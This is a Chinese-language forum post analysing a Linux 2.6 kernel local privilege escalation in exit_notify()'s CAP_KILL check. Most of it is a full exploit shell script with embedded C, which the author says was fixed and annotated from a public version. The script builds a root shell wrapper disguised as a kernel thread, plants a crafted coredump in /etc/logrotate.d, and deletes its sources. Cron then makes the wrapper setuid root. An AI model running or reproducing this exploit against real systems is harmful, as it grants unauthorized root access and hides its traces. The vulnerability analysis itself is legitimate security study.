Linux 内核 CAP_KILL 校验本地提权漏洞分析
绿盟七号发出的公告:http://www.nsfocus.net/vulndb/13188
Milw0rm 八号发出的EXP:http://www.milw0rm.com/exploits/8369
基本上通杀 2.6.29 以下的 2.6 内核版本了。
kernel/exit.c 文件中的 exit_notify() 函数没有正确地检查 CAP_KILL 功能,如果本地用户在退出前执行了 setuid 应用程序就会导致没有将信号重置为 SIGCHLD,绕过其他检查获得权限提升。
exit.c 关键代码:
if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
(tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
tsk->self_exec_id != tsk->parent_exec_id) &&
!capable(CAP_KILL))
tsk->exit_signal = SIGCHLD;
Milw0rm 的那个 EXP 有问题,我修改后加了注释:
#!/bin/sh SUIDDUMP=cat /proc/sys/fs/suid_dumpable # suid_dumpable 的内容默认是 0,必须是 1 或者 2 if [ $SUIDDUMP -lt 1 ]; then # 判断 /proc/sys/fs/suid_dumpable 的内容是否小于 1 /sbin/sysctl -w fs.suid_dumpable=1 # 修改 fs.suid_dumpable 的内容为 1 fi if [ -d /etc/logrotate.d ]; then # 判断目录是否存在 echo "logrotate installed, that's good!" else echo "No logrotate installed, sorry!";exit fi echo -e "Compiling the bash setuid() wrapper..." cd tmp cat >> .m.c << EOF # 创建 .m.c 文件,下面就是 .m.c 的内容 #include <unistd.h> #include <sys/types.h> int main() { setuid(0); # 执行了 setuid 就会导致没有将信号重置为 SIGCHLD,绕过其他检查获得权限提升 execl("/bin/bash","[kthreadd]",NULL); # 将 /bin/bash 加到二号线程里 } EOF cc /tmp/.m.c -o /tmp/.m # 编译 rm /tmp/.m.c # 删除源文件 echo -e "Compiling the exploit code..." cd /tmp cat >> exploit.c << EOF # 创建源文件 #include <stdio.h> #include <sched.h> #include <signal.h> #include <stdlib.h> #include <unistd.h> int child(void *data) { sleep(2); # 线程 2 进入睡眠状态 printf("I'm gonna kill the suidroot father without having root rights :D\n"); execl("/usr/bin/gpasswd","%s",NULL); exit(0); # 结束进程 } int main() { int stacksize = 4*getpagesize(); # 4KB 的栈大小 void *stack, *stacktop; stack = malloc(stacksize); # 分配 16KB 大小栈 stacktop = stack + stacksize; # stacktop=32KB chdir("/etc/logrotate.d"); # 转到 /etc/logrotate.d 目录下 int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); # 创建子进程共享父进程。共享相同的文件描述符和信号处理 if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL); } EOF cc /tmp/exploit.c -o /tmp/.ex # 编译成 .ex rm /tmp/exploit.c # 删除源文件 echo -e "Setting coredump limits and running the exploit...\n" ulimit -c 10000 # 设置资源极限 touch /tmp/.a # 创建一个 .a 文件 /tmp/.ex >/dev/null 2>/dev/null # 错误定向到 /dev/null sleep 5 # 阻塞 rm /tmp/.ex # 删除 .ex if [ -e /etc/logrotate.d/core ]; then # 这里有疑问了,没有找到 core 文件的存在 touch /etc/logrotate.d/core # 加句话,创建一个 core 文件 echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n" echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root" echo -e "\nYour terminal is most probably screwed now, sorry for that..." exit fi echo "The system is not vulnerable, sorry :("
等待 24 小时后,计划任务 cron.daily 执行,然后再运行 /tmp/.m
提权。
这个洞洞很多地方没搞透,大家一起来讨论讨论这个洞洞的整个过程。